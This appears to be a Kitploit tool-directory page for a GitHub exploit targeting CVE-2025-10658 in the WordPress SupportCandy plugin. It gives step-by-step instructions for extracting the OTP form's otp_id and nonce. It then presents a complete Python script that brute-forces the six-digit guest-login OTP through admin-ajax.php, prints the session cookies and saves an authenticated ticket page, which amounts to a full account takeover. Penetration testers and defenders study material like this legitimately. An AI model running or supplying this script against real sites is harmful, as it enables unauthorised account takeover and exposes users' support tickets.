Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-10658 — Python exploit script for CVE-2025-10658: brute-forces 6-digit OTP in WordPress SupportCandy guest login to achieve full account takeover via admin-ajax.php endpoint. | Kitploit
Tools/GitHubGitHub/jfriedli/cve-2025-10658
Password AttacksVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingAuthentication
GitHubjfriedli/cve-2025-10658

CVE-2025-10658

Python exploit script for CVE-2025-10658: brute-forces 6-digit OTP in WordPress SupportCandy guest login to achieve full account takeover via admin-ajax.php endpoint.

View Repository
1355 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Exploit: SupportCandy Guest OTP Brute Force → Account Takeover

1) Initiate OTP login flow (browser)

  • Open:
root@kitploit:~
/support/
  • Select guest / OTP login
  • Enter target email (e.g. [email protected])
  • Submit

2) Extract required values from the OTP form

In DevTools → Network → admin-ajax.php?action=wpsc_authenticate_guest_login response:

root@kitploit:~
<input type="hidden" name="otp_id" value="NN">
<input type="hidden" name="_ajax_nonce" value="XXXXXXXXXX">

Save:

  • OTP_ID
  • NONCE

3) Brute-force the OTP

root@kitploit:~
#!/usr/bin/env python3
import requests, time, sys

ORIGIN = "http://localhost/wordpress"
OTP_ID = 22                  # extracted otp_id
NONCE  = "f2349a6ac9"        # extracted nonce
START  = 0
END    = 999999
RATE   = 25                  # requests per second

AJAX = ORIGIN.rstrip("/") + "/wp-admin/admin-ajax.php"

def try_code(sess, code):
    r = sess.post(AJAX, data={
        "action": "wpsc_confirm_guest_login",
        "otp": code,
        "otp_id": str(OTP_ID),
        "_ajax_nonce": NONCE,
    }, timeout=10)

    try:
        j = r.json()
    except Exception:
        return False, None

    return (j.get("isSuccess") == 1), j

def main():
    s = requests.Session()
    interval = 1.0 / max(RATE, 1)

    for n in range(START, END + 1):
        code = f"{n:06d}"

        ok, _ = try_code(s, code)
        if ok:
            print(f"[+] OTP cracked: {code}")
            print("[i] Cookies:", s.cookies.get_dict())

            # Access authenticated page
            page = s.get(ORIGIN + "/support/?wpsc-section=ticket-list")
            open("with_cookie.html", "wb").write(page.content)

            sys.exit(0)

        if n % 1000 == 0:
            print(f"[*] Tried {n} codes...")

        time.sleep(interval)

    print("[!] Exhausted range")

if __name__ == "__main__":
    main()

Run:

root@kitploit:~
python sc_guest_bruteforce_linear.py

4) Complete account takeover

  • Enter the cracked 6-digit OTP in the browser form
  • Submit
Download Tool